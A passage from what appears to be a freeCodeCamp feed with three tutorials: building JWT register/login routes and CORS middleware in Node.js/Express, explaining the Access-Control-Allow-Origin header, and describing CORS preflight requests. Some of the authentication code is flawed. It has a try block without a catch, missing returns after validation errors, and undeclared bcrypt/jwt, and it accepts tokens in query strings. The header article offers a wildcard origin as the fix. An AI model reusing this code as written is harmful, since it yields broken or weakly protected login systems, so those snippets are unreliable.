<pre><code class="lang-bash">touch app.js index.js
</code></pre>
<p>This will give us a folder structure like the one you see below:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/06/Screenshot-2021-06-26-at-19.43.15.png" alt="folder structure" width="600" height="400" loading="lazy"></p>
<h3 id="heading-how-to-install-dependencies">How to Install Dependencies</h3>
<p>We'll install several dependencies like <code>mongoose</code>, <code>jsonwebtoken</code>, <code>express</code>, <code>dotenv</code>, <code>bcryptjs</code>, <code>cors</code> and development dependencies like <code>nodemon</code> to restart the server as we make changes automatically.</p>
<p>Because I'll be using MongoDB in this project, we'll install Mongoose, and the user credentials will be checked against what we have in our database. As a result, the entire authentication process isn't limited to the database we'll use in this tutorial.</p>
<pre><code class="lang-bash">npm install  cors mongoose express jsonwebtoken dotenv bcryptjs 

npm install nodemon -D
</code></pre>
<h3 id="heading-how-to-create-a-nodejs-server-and-connect-your-database">How to Create a Node.js Server and Connect your Database</h3>
<p>Now, add the following snippets to your <code>app.js</code>, <code>index.js</code>, <code>database.js</code>, and <code>.env</code> files in that order to establish our Node.js server and connect our database.</p>
<p>In our <code>database.js.</code>:</p>
<p><code>config/database.js</code>:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> mongoose = <span class="hljs-built_in">require</span>(<span class="hljs-string">"mongoose"</span>);

<span class="hljs-keyword">const</span> { MONGO_URI } = process.env;

<span class="hljs-built_in">exports</span>.connect = <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-comment">// Connecting to the database</span>
  mongoose
    .connect(MONGO_URI, {
      <span class="hljs-attr">useNewUrlParser</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">useUnifiedTopology</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">useCreateIndex</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">useFindAndModify</span>: <span class="hljs-literal">false</span>,
    })
    .then(<span class="hljs-function">() =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Successfully connected to database"</span>);
    })
    .catch(<span class="hljs-function">(<span class="hljs-params">error</span>) =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"database connection failed. exiting now..."</span>);
      <span class="hljs-built_in">console</span>.error(error);
      process.exit(<span class="hljs-number">1</span>);
    });
};
</code></pre>
<p>In our <code>app.js</code>:</p>
<p><code>auth-cors-project/app.js</code></p>
<pre><code class="lang-javascript"><span class="hljs-built_in">require</span>(<span class="hljs-string">"dotenv"</span>).config();
<span class="hljs-built_in">require</span>(<span class="hljs-string">"./config/database"</span>).connect();
<span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">"express"</span>);

<span class="hljs-keyword">const</span> app = express();

app.use(express.json());

<span class="hljs-comment">// Logic goes here</span>

<span class="hljs-built_in">module</span>.exports = app;
</code></pre>
<p>In our <code>index.js</code>:</p>
<p><code>auth-cors-project/index.js</code></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">"http"</span>);
<span class="hljs-keyword">const</span> app = <span class="hljs-built_in">require</span>(<span class="hljs-string">"./app"</span>);
<span class="hljs-keyword">const</span> server = http.createServer(app);

<span class="hljs-keyword">const</span> { API_PORT } = process.env;
<span class="hljs-keyword">const</span> port = process.env.PORT || API_PORT;

<span class="hljs-comment">// server listening </span>
server.listen(port, <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Server running on port <span class="hljs-subst">${port}</span>`</span>);
});
</code></pre>
<p>Our file, as you can see, requires various environment variables. If you haven't already, create a new <code>.env</code> file and add your variables before running the application.</p>
<p>In our <code>.env.</code>:</p>
<pre><code class="lang-javascript">API_PORT=<span class="hljs-number">4001</span>

MONGO_URI= <span class="hljs-comment">// Your database URI</span>
</code></pre>
<p>Edit the scripts object in our <code>package.json</code> to look like the one below to start our server.</p>
<pre><code class="lang-javascript"><span class="hljs-string">"scripts"</span>: {
    <span class="hljs-string">"start"</span>: <span class="hljs-string">"node index.js"</span>,
    <span class="hljs-string">"dev"</span>: <span class="hljs-string">"nodemon index.js"</span>,
    <span class="hljs-string">"test"</span>: <span class="hljs-string">"echo \"Error: no test specified\" &amp;&amp; exit 1"</span>
  }
</code></pre>
<p>We successfully inserted the above snippet into the files <code>app.js</code>, <code>index.js</code>, and <code>database.js</code>. So, we started by creating our Node.js server in <code>index.js</code> and then imported the <code>app.js</code> file, which already had routes configured.</p>
<p>Then, in database.js, we used Mongoose to build a database connection.</p>
<p><code>npm run dev</code> is the command to start our application.</p>
<p>As long as they haven't crashed, both the server and the database should be up and running.</p>
<h3 id="heading-how-to-create-a-user-model-and-route">How to Create a User Model and Route</h3>
<p>After registering for the first time, we'll establish our schema for the user details. Then, when logging in, we'll check them against the remembered credentials.</p>
<p>In the model folder, add the following snippet to <code>user.js</code>:</p>
<p><code>model/user.js</code></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> mongoose = <span class="hljs-built_in">require</span>(<span class="hljs-string">"mongoose"</span>);

<span class="hljs-keyword">const</span> userSchema = <span class="hljs-keyword">new</span> mongoose.Schema({
  <span class="hljs-attr">first_name</span>: { <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>, <span class="hljs-attr">default</span>: <span class="hljs-literal">null</span> },
  <span class="hljs-attr">last_name</span>: { <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>, <span class="hljs-attr">default</span>: <span class="hljs-literal">null</span> },
  <span class="hljs-attr">email</span>: { <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>, <span class="hljs-attr">unique</span>: <span class="hljs-literal">true</span> },
  <span class="hljs-attr">password</span>: { <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span> },
  <span class="hljs-attr">token</span>: { <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span> },
});

<span class="hljs-built_in">module</span>.exports = mongoose.model(<span class="hljs-string">"user"</span>, userSchema);
</code></pre>
<p>Now let's create the routes for <code>register</code> and <code>login</code>, respectively.</p>
<p>In <code>app.js</code> in the root directory, add the following snippet for the registration and login.</p>
<p><code>app.js</code></p>
<pre><code class="lang-javascript"><span class="hljs-comment">// importing user context</span>
<span class="hljs-keyword">const</span> User = <span class="hljs-built_in">require</span>(<span class="hljs-string">"./model/user"</span>);

<span class="hljs-comment">// Register</span>
app.post(<span class="hljs-string">"/register"</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
<span class="hljs-comment">// our register logic goes here...</span>
});

<span class="hljs-comment">// Login</span>
app.post(<span class="hljs-string">"/login"</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
<span class="hljs-comment">// our login logic goes here</span>
});
</code></pre>
<h3 id="heading-how-to-implement-register-and-login-functionality">How to Implement Register and Login Functionality</h3>
<p>We'll implement these two routes in our application. Before storing the credentials in our database, we'll use JWT to sign them and <code>bycrypt</code> to encrypt them.</p>
<p>We will: </p>
<ul>
<li>Get user input from the <code>/register</code> route.</li>
<li>Verify the user's input.</li>
<li>Check to see if the user has already been created.</li>
<li>Protect the user's password by encrypting it.</li>
<li>Make a user account in our database.</li>
<li>Finally, construct a JWT token that is signed.</li>
</ul>
<p>Modify the <code>/register</code> route structure we created earlier to look as shown below:</p>
<p><code>app.js</code></p>
<pre><code class="lang-javascript"><span class="hljs-comment">// ...</span>

app.post(<span class="hljs-string">"/register"</span>, <span class="hljs-keyword">async</span> (req, res) =&gt; {

  <span class="hljs-comment">// Our register logic starts here</span>
   <span class="hljs-keyword">try</span> {
    <span class="hljs-comment">// Get user input</span>
    <span class="hljs-keyword">const</span> { firstName, lastName, email, password } = req.body;

    <span class="hljs-comment">// Validate user input</span>
    <span class="hljs-keyword">if</span> (!(email &amp;&amp; password &amp;&amp; firstName &amp;&amp; lastName)) {
      res.status(<span class="hljs-number">400</span>).send(<span class="hljs-string">"All input is required"</span>);
    }

    <span class="hljs-comment">// check if user already exist</span>
    <span class="hljs-comment">// Validate if user exist in our database</span>
    <span class="hljs-keyword">const</span> oldUser = <span class="hljs-keyword">await</span> User.findOne({ email });

    <span class="hljs-keyword">if</span> (oldUser) {
      <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">409</span>).send(<span class="hljs-string">"User Already Exist. Please Login"</span>);
    }

    <span class="hljs-comment">//Encrypt user password</span>
    encryptedUserPassword = <span class="hljs-keyword">await</span> bcrypt.hash(password, <span class="hljs-number">10</span>);

    <span class="hljs-comment">// Create user in our database</span>
    <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> User.create({
      <span class="hljs-attr">first_name</span>: firstName,
      <span class="hljs-attr">last_name</span>: lastName,
      <span class="hljs-attr">email</span>: email.toLowerCase(), <span class="hljs-comment">// sanitize</span>
      <span class="hljs-attr">password</span>: encryptedUserPassword,
    });

    <span class="hljs-comment">// Create token</span>
    <span class="hljs-keyword">const</span> token = jwt.sign(
      { <span class="hljs-attr">user_id</span>: user._id, email },
      process.env.TOKEN_KEY,
      {
        <span class="hljs-attr">expiresIn</span>: <span class="hljs-string">"5h"</span>,
      }
    );
    <span class="hljs-comment">// save user token</span>
    user.token = token;

    <span class="hljs-comment">// return new user</span>
    res.status(<span class="hljs-number">201</span>).json(user);
  } <span class="hljs-keyword">catch</span> (err) {
    <span class="hljs-built_in">console</span>.log(err);
  }
  <span class="hljs-comment">// Our register logic ends here</span>
});

<span class="hljs-comment">// ...</span>
</code></pre>
<blockquote>
<p><strong>Note:</strong> Update your <code>.env</code> file with a <code>TOKEN_KEY</code>, which can be a random string.</p>
</blockquote>
<p>Using Postman to test the endpoint, we'll get the response shown below after successful registration.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/06/Screenshot-2021-06-26-at-22.57.16.png" alt="user registration" width="600" height="400" loading="lazy"></p>
<p>We will: </p>
<ul>
<li>Get user input for the <code>/login</code> route.</li>
<li>Verify the user's input.</li>
<li>Check to see if the user is genuine.</li>
<li>Compare the user's password to the one we saved earlier in our database.</li>
<li>Finally, construct a JWT token that is signed.</li>
</ul>
<p>Make the <code>/login</code> route structure that we defined earlier look like this:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// ...</span>

app.post(<span class="hljs-string">"/login"</span>, <span class="hljs-keyword">async</span> (req, res) =&gt; {

  <span class="hljs-comment">// Our login logic starts here</span>
   <span class="hljs-keyword">try</span> {
    <span class="hljs-comment">// Get user input</span>
    <span class="hljs-keyword">const</span> { email, password } = req.body;

    <span class="hljs-comment">// Validate user input</span>
    <span class="hljs-keyword">if</span> (!(email &amp;&amp; password)) {
      res.status(<span class="hljs-number">400</span>).send(<span class="hljs-string">"All input is required"</span>);
    }
    <span class="hljs-comment">// Validate if user exist in our database</span>
    <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> User.findOne({ email });

    <span class="hljs-keyword">if</span> (user &amp;&amp; (<span class="hljs-keyword">await</span> bcrypt.compare(password, user.password))) {
      <span class="hljs-comment">// Create token</span>
      <span class="hljs-keyword">const</span> token = jwt.sign(
        { <span class="hljs-attr">user_id</span>: user._id, email },
        process.env.TOKEN_KEY,
        {
          <span class="hljs-attr">expiresIn</span>: <span class="hljs-string">"5h"</span>,
        }
      );

      <span class="hljs-comment">// save user token</span>
      user.token = token;

      <span class="hljs-comment">// user</span>
      <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">200</span>).json(user);
    }
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).send(<span class="hljs-string">"Invalid Credentials"</span>);

  <span class="hljs-comment">// Our login logic ends here</span>
});

<span class="hljs-comment">// ...</span>
</code></pre>
<p>Using Postman to test, we'll get the response shown below after a successful login.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/06/Screenshot-2021-06-26-at-23.00.45.png" alt="user login" width="600" height="400" loading="lazy"></p>
<h3 id="heading-how-to-create-middleware-for-authentication">How to Create Middleware for Authentication</h3>
<p>We can now create and login a user successfully. Now, we'll establish a route that requires a user token in the header, which will be the JWT token we created before.</p>
<p>Add the following snippet inside <code>auth.js</code>:</p>
<p><code>middleware/auth.js</code></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> jwt = <span class="hljs-built_in">require</span>(<span class="hljs-string">"jsonwebtoken"</span>);

<span class="hljs-keyword">const</span> config = process.env;

<span class="hljs-keyword">const</span> verifyToken = <span class="hljs-function">(<span class="hljs-params">req, res, next</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> token =
    req.body.token || req.query.token || req.headers[<span class="hljs-string">"x-access-token"</span>];

  <span class="hljs-keyword">if</span> (!token) {
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">403</span>).send(<span class="hljs-string">"A token is required for authentication"</span>);
  }
  <span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">const</span> decoded = jwt.verify(token, config.TOKEN_KEY);
    req.user = decoded;
  } <span class="hljs-keyword">catch</span> (err) {
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">401</span>).send(<span class="hljs-string">"Invalid Token"</span>);
  }
  <span class="hljs-keyword">return</span> next();
};

<span class="hljs-built_in">module</span>.exports = verifyToken;
</code></pre>
<p>To test the middleware, create the <code>/welcome</code> route and edit app.js with the following code:</p>
<p><code>app.js</code></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> auth = <span class="hljs-built_in">require</span>(<span class="hljs-string">"./middleware/auth"</span>);

app.post(<span class="hljs-string">"/welcome"</span>, auth, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  res.status(<span class="hljs-number">200</span>).send(<span class="hljs-string">"Welcome to FreeCodeCamp 🙌"</span>);
});
</code></pre>
<p>When we try to access the /welcome route we just built without sending a token in the header with the x-access-token key, we get the following response:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/06/Screenshot-2021-06-26-at-23.09.13.png" alt="failed response" width="600" height="400" loading="lazy"></p>
<p>We can now re-test by adding a token in the header with the key x-access-token.</p>
<p>This is the response you'll get:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/06/success-response.png" alt="success response" width="600" height="400" loading="lazy"></p>
<h2 id="heading-how-to-implement-cross-origin-resource-sharing-cors">How to Implement Cross-Origin Resource Sharing (CORS)</h2>
<p><a target="_blank" href="https://www.npmjs.com/package/cors">CORS</a> is a Node.js package that provides a Connect/Express middleware that you can. use to enable CORS with a variety of parameters.</p>
<ol>
<li>It's easy to use (Enable All CORS Requests)</li>
</ol>
<p>Adding the following snippet to <code>app.js</code> allows us to add CORS to our application and enable all CORS requests.</p>
<pre><code><span class="hljs-comment">// ...</span>

<span class="hljs-keyword">const</span> cors = <span class="hljs-built_in">require</span>(<span class="hljs-string">"cors"</span>) <span class="hljs-comment">//Newly added</span>
<span class="hljs-keyword">const</span> app = express();

app.use(cors()) <span class="hljs-comment">// Newly added</span>


app.use(express.json({ <span class="hljs-attr">limit</span>: <span class="hljs-string">"50mb"</span> }));

<span class="hljs-comment">// ...</span>
</code></pre><ol start="2">
<li>You can enable CORS for a single route</li>
</ol>
<p>Using the <code>/welcome</code> route as an example, you can activate CORS for a single route in your application by adding the following snippet in <code>app.js.</code>:</p>
<pre><code>app.get(<span class="hljs-string">'/welcome'</span>, cors(), auth, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  res.status(<span class="hljs-number">200</span>).send(<span class="hljs-string">"Welcome to FreeCodeCamp 🙌 "</span>);
});
</code></pre><ol start="3">
<li>How to configure CORS</li>
</ol>
<p>We can set options in the CORS package by adding parameters to configure it, as shown below:</p>
<pre><code><span class="hljs-comment">// ...</span>

<span class="hljs-keyword">const</span> corsOptions = {
  <span class="hljs-attr">origin</span>: <span class="hljs-string">'http://example.com'</span>,
  <span class="hljs-attr">optionsSuccessStatus</span>: <span class="hljs-number">200</span> <span class="hljs-comment">// for some legacy browsers</span>
}

app.get(<span class="hljs-string">'/welcome'</span>, cors(corsOptions), auth, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  res.status(<span class="hljs-number">200</span>).send(<span class="hljs-string">"Welcome to FreeCodeCamp 🙌 "</span>);
});

<span class="hljs-comment">// ...</span>
</code></pre><p>You can check out <a target="_blank" href="https://www.npmjs.com/package/cors">NPM CORS PACKAGE</a> to read more about Cross-Origin Resource Sharing.</p>
<p>You can <a target="_blank" href="https://github.com/Olanetsoft/auth-cors-demo">click here</a> to check out the complete code on GitHub.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In this article, we learned about JWT, authentication, authorization, and CORS. We also learned how to create an API in Node.js that uses a JWT token for authentication.</p>
<p>Thank you for reading!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ The Access-Control-Allow-Origin Header Explained – With a CORS Example ]]>
                </title>
                <description>
                    <![CDATA[ Often times when calling an API, you may see an error in your console that looks like this: Access to fetch at 'http://somesite.com' from origin 'http://yoursite.com' has been blocked by CORS policy: The 'Access-Control-Allow-Origin' header has a va... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/access-control-allow-origin-header-explained/</link>
                <guid isPermaLink="false">66b99cc53cd81de09c96b2ca</guid>
                
                    <category>
                        <![CDATA[ CORS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Shruti Kapoor ]]>
                </dc:creator>
                <pubDate>Fri, 17 Jul 2020 07:18:00 +0000</pubDate>
                <media:content url="https://cdn-media-2.freecodecamp.org/w1280/5f9c99aa740569d1a4ca210e.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Often times when calling an API, you may see an error in your console that looks like this:</p>
<pre><code>
Access to fetch at <span class="hljs-string">'http://somesite.com'</span> <span class="hljs-keyword">from</span> origin <span class="hljs-string">'http://yoursite.com'</span> has been blocked by CORS policy: The <span class="hljs-string">'Access-Control-Allow-Origin'</span> header has a value that is not equal to the supplied origin
</code></pre><p>In this post, we are going to learn why this error happens and how you can fix it. </p>
<h2 id="heading-what-is-the-access-control-allow-origin-header">What is the <code>Access-Control-Allow-Origin</code> header?</h2>
<p><code>Access-Control-Allow-Origin</code> is a CORS header. CORS, or Cross Origin Resource Sharing, is a mechanism for browsers to let a site running at origin A to request resources from origin B. </p>
<p>Origin is not just the hostname, but a combination of port, hostname and scheme, such as - <code>http://mysite.example.com:8080/</code></p>
<p>Here's an example of where this comes into action - </p>
<ol>
<li>I have an origin A: <code>http://mysite.com</code> and I want to get resources from origin B: <code>http://yoursite.com</code>. </li>
<li>To protect your security, the browser will not let me access resources from yoursite.com and will block my request. </li>
<li>In order to allow origin A to access your resources, your origin B will need to let the browser know that it is okay for me to get resources from your origin.</li>
</ol>
<p>Here is an example from Mozilla Developer Network that explains this really well:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/07/CORS_principle.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>With the help of CORS, browsers allow origins to share resources amongst each other. </p>
<p>There are a <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#The_HTTP_response_headers">few headers</a> that allow sharing of resources across origins, but the main one is  <code>Access-Control-Allow-Origin</code>. This tells the browser what origins are allowed to receive requests from this server. </p>
<h2 id="heading-who-needs-to-set-access-control-allow-origin">Who needs to set <code>Access-Control-Allow-Origin</code>?</h2>
<p>To understand who needs to set this header, consider this scenario: You are browsing a website that is used to view and listen to songs. The website attempts to make a connection to your bank in the background maliciously. </p>
<p>So who has the ultimate ability to prevent this malicious website from stealing your data from the bank? The bank! So, the bank will need to protect its resources by setting the <code>Access-Control-Allow-Origin</code> header as part of the response.</p>
<p>Just remember: the origin responsible for serving resources will need to set this header.</p>
<h2 id="heading-how-to-use-and-when-to-pass-this-header">How to use and when to pass this header</h2>
<p>Here's an example of values you can set: </p>
<ol>
<li><code>Access-Control-Allow-Origin : *</code> : Allows any origin.</li>
<li><code>Access-Control-Allow-Origin : http://mysite.com</code> : Allow requests only from mysite.com.</li>
</ol>
<h2 id="heading-see-it-in-action">See it in action</h2>
<p>Let's look at an example. You can check out this code <a target="_blank" href="https://github.com/shrutikapoor08/blogs/tree/master/code-examples/CORS">on my GitHub repo</a>. </p>
<p>We are going to build a server on origin A <code>http://localhost:8000</code> which will send a string of <code>Hello</code>s to an <code>api</code> endpoint. We are going to call with this endpoint by creating a client on origin B <code>http://localhost:3000</code> and then use fetch to request the resource. We expect to see the string <code>Hello</code> passed by origin A in the browser console of origin B. </p>
<p>Let's say we have an origin up on <code>http://localhost:8000</code> that serves up this resource on <code>/api</code> endpoint. The server sends a response with the header <code>Access-Control-Allow-Origin</code>.</p>
<pre><code><span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">"express"</span>);

<span class="hljs-keyword">const</span> app = express();
<span class="hljs-keyword">const</span> port = process.env.SERVER_PORT || <span class="hljs-number">8000</span>;

<span class="hljs-comment">// Add Access Control Allow Origin headers</span>
app.use(<span class="hljs-function">(<span class="hljs-params">req, res, next</span>) =&gt;</span> {
  res.setHeader(<span class="hljs-string">"Access-Control-Allow-Origin"</span>, <span class="hljs-string">"https://yoursite.com"</span>);
  res.header(
    <span class="hljs-string">"Access-Control-Allow-Headers"</span>,
    <span class="hljs-string">"Origin, X-Requested-With, Content-Type, Accept"</span>
  );
  next();
});

app.get(<span class="hljs-string">"/api"</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  res.json(<span class="hljs-string">"Hello"</span>);
});

app.listen(port, <span class="hljs-function">() =&gt;</span> <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Listening on port <span class="hljs-subst">${port}</span>`</span>));
</code></pre><p>On the client side, you can call this endpoint by calling <code>fetch</code> like this: </p>
<pre><code>fetch(<span class="hljs-string">'http://localhost:8000/api'</span>)
.then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span> res.json())
.then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span> <span class="hljs-built_in">console</span>.log(res));
</code></pre><p>Now open your browser's console to see the result. 
Since the header is currently set to allow access only from <code>https://yoursite.com</code>, the browser will block access to the resource and you will see an error in your console.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/07/CORS-access-denied.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Now, to fix this, change the headers to this:</p>
<pre><code> res.setHeader(<span class="hljs-string">"Access-Control-Allow-Origin"</span>, <span class="hljs-string">"*"</span>);
</code></pre><p>Check your browser's console and now you will be able to see the string <code>Hello</code>.</p>
<h3 id="heading-interested-in-more-tutorials-and-jsbytes-from-me-sign-up-for-my-newsletter">Interested in more tutorials and JSBytes from me? Sign up for my newsletter.</h3>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ The Story of requesting twice - CORS ]]>
                </title>
                <description>
                    <![CDATA[ By Lusan Das The story of requesting twice, allow me to explain how it all began. While working on a feature, I decided to look at the network tab and observed that the first request was sent with method OPTIONS, and the following request after it wa... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/the-story-of-requesting-twice-cors/</link>
                <guid isPermaLink="false">66d45e09d1ffc3d3eb89ddbf</guid>
                
                    <category>
                        <![CDATA[ api ]]>
                    </category>
                
                    <category>
                        <![CDATA[ CORS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ REST API ]]>
                    </category>
                
                    <category>
                        <![CDATA[ web ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web App Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Thu, 13 Jun 2019 06:25:10 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2019/06/priscilla-du-preez-234144-unsplash.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Lusan Das</p>
<p>The story of requesting twice, allow me to explain how it all began.</p>
<p>While working on a feature, I decided to look at the network tab and observed that the first request was sent with method OPTIONS, and the following request after it was the request with the correct method eg GET, POST etc, which is returning the expected payload. Basically two calls for the same request.</p>
<p>Here take a look at the screen shots below</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*W7g8e0J9fwocmwX_Ce6VWA.png" alt="Image" width="1600" height="625" loading="lazy"></p>
<p><em>Request with OPTIONS method</em></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*JgwOpH3t9oTrL8Q_UM01mw.png" alt="Image" width="1600" height="712" loading="lazy"></p>
<p><em>Request with GET method</em></p>
<p>After digging few docs, I realised it was an expected behaviour. It is related to the concept of HTTP access control (CORS).</p>
<p>To understand it better, let me explain a bit about CORS and requests.</p>
<h3 id="heading-http-access-control-cors">HTTP access control (CORS)</h3>
<p>Cross-Origin Resource Sharing (<a target="_blank" href="https://developer.mozilla.org/en-US/docs/Glossary/CORS">CORS</a>) is a mechanism that uses additional <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Glossary/HTTP">HTTP</a> headers to let a <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Glossary/user_agent">user agent</a> gain permission to access selected resources from a server on a different origin (domain) than the site currently in use.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*wnTTrWj5tn6VCQJHk9PHKQ.png" alt="Image" width="925" height="643" loading="lazy"></p>
<p><em>Cross-Origin Resource Sharing (</em><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Glossary/CORS"><em>CORS</em></a><em>)</em></p>
<p>Let us understand the above image above to get a better understanding of CORS.</p>
<ol>
<li><p><strong>Same Origin Request:</strong> We have opened <strong>domain-a.com</strong>, where we are requesting a <strong>blue image</strong> hosted in web server <strong>domain-a.com.</strong> Since we are performing our requests in the same domain, it is called a Same-origin request.</p>
</li>
<li><p><strong>Cross Origin Request:</strong> We have opened <strong>domain-a.com</strong>, where we are requesting a <strong>red image</strong> hosted in web server <strong>domain-b.com.</strong> Since we are performing our requests in different domains, it is called a Cross-origin Request.</p>
</li>
</ol>
<h3 id="heading-simple-requests"><strong>Simple requests</strong></h3>
<p>These are requests that doesn't send it’s first request as method OPTIONS. It is fired only once.</p>
<p>Surely it begs the question, why will the first request have method OPTIONS if we are not sending it, please have patience it will be explained below in preflight section ☺</p>
<p>But before that let us understand what are the points that make request simple.</p>
<ol>
<li>The only allowed methods in simple request are:</li>
</ol>
<ul>
<li><p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET">GET</a></p>
</li>
<li><p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD">HEAD</a></p>
</li>
<li><p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST">POST</a></p>
</li>
</ul>
<ol start="2">
<li>Apart from the headers set automatically by the user agent (for example, connection , <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent">User-Agent</a>, or any of the other headers with names defined in the Fetch spec as a “forbidden header name”), the only headers which are allowed to be manually set are <a target="_blank" href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">those which the Fetch spec defines as being a “CORS-safelisted request-header”</a>, which are:</li>
</ol>
<ul>
<li><p>Accept</p>
</li>
<li><p>Accept-Language</p>
</li>
<li><p>Content-Language</p>
</li>
<li><p>Content-Type</p>
</li>
<li><p>DPR</p>
</li>
<li><p>Downlink</p>
</li>
<li><p>Save-Data</p>
</li>
<li><p>Viewport-Width</p>
</li>
<li><p>Width</p>
</li>
</ul>
<ol start="3">
<li>The only allowed values for the Content-Type header are:</li>
</ol>
<ul>
<li><p>application/x-www-form-urlencoded</p>
</li>
<li><p>multipart/form-data</p>
</li>
<li><p>text/plain</p>
</li>
</ul>
<ol start="4">
<li><p>No event listeners are registered on any XMLHttpRequestUpload object used in the request.</p>
</li>
<li><p>No ReadableStream object is used in the request.</p>
</li>
</ol>
<h3 id="heading-preflighted-requests">Preflighted requests</h3>
<p>Preflighted request is a type of request which sends an HTTP request by the OPTIONS method to the resource on the other domain, in order to determine whether the actual request is safe to send. Cross-site requests are preflighted like this since they may have implications to user data. It is evident from the screenshots above.</p>
<p>For requests like PUT, DELETE, PATCH etc, preflight requests are sent.</p>
<p>Below flowchart summarises really well how it works.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*cYI52Rb-fWjSFiQPoCF9pQ.png" alt="Image" width="1534" height="1770" loading="lazy"></p>
<p><em>Image Courtesy html5rocks</em></p>
<p>This flowchart opens up a door to a whole new knowledge. Couldn’t help but appreciate how good it is!</p>
<blockquote>
<p><em>Strangely enough even GET request was observed to have preflights which for my case was due to presence of custom header Authorization, which can be seen from the screenshot below</em></p>
</blockquote>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*W7g8e0J9fwocmwX_Ce6VWA.png" alt="Image" width="1600" height="625" loading="lazy"></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*JgwOpH3t9oTrL8Q_UM01mw.png" alt="Image" width="1600" height="712" loading="lazy"></p>
<h4 id="heading-is-preflight-request-bad">Is Preflight request bad?</h4>
<p>It is a small request without a body, but I always felt it as a bother. It is still a request, and each request is a cost, no matter how small that request is, so I definitely recommend to try and avoid having such cases.</p>
<h4 id="heading-how-do-we-avoid-it">How do we avoid it?</h4>
<p>Well the easiest solution is avoid CORS, try to keep our resources and APIs in the same domain. It is really that simple.</p>
<h4 id="heading-conclusion">Conclusion</h4>
<p>It is always good to be armed with knowledge of how requests work. Even if the cost is very low, it still matters. Saving small requests can make our application really fast in the long run. Well I believe in the future, which is fast and furious.</p>
<blockquote>
